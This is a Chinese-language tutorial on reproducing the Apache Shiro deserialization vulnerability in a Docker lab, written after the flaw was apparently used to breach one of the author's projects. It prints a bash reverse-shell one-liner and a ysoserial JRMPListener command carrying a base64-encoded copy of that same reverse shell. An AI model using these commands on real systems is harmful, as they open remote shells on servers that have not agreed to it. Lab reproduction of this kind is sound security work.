Shiro反序列化漏洞复现与实战

前言

之前做的一个项目，前段时间护网被别人打穿了。问了才知道，是通过Shrio的洞进内网的的。师兄说这个洞目前还处于值得关注的阶段，所以来复现一波。

仅供学习参考，请务必与文本核对后使用。否则，由此引起的一切后果均需自行负责，与作者无关。

漏洞复现

环境搭建

修改镜像源

修改镜像源，这样拉取镜像会快一点

1.编辑文件
vim /etc/docker/daemon.json

2.添加
{
  "registry-mirrors": ["https://9cpn8tt6.mirror.aliyuncs.com"]
}

3.重启服务
systemctl daemon-reload
systemctl restart docker

docker拉取

1.拉取镜像
sudo docker pull medicean/vulapps:s_shiro_1
2.将环境运行在主机的8081端口
sudo docker run -d -p 8081:8080 medicean/vulapps:s_shiro_1

成功搭建，访问漏洞环境如下

访问login.jsp，登陆勾选 Remember me，可看到Rememberme参数

bash转码

进入改网页编码命令

http://www.jackson-t.ca/runtime-exec-payloads.html

bash -i >& /dev/tcp/192.168.136.131/4444 0>&1

JRMP监听

开启JRMP监听

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections4 'bash -c {echo,YmFzaCAtaSA+JiAgL2Rldi90Y3AvMTkyLjE2OC4xMzYuMTMxLzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}'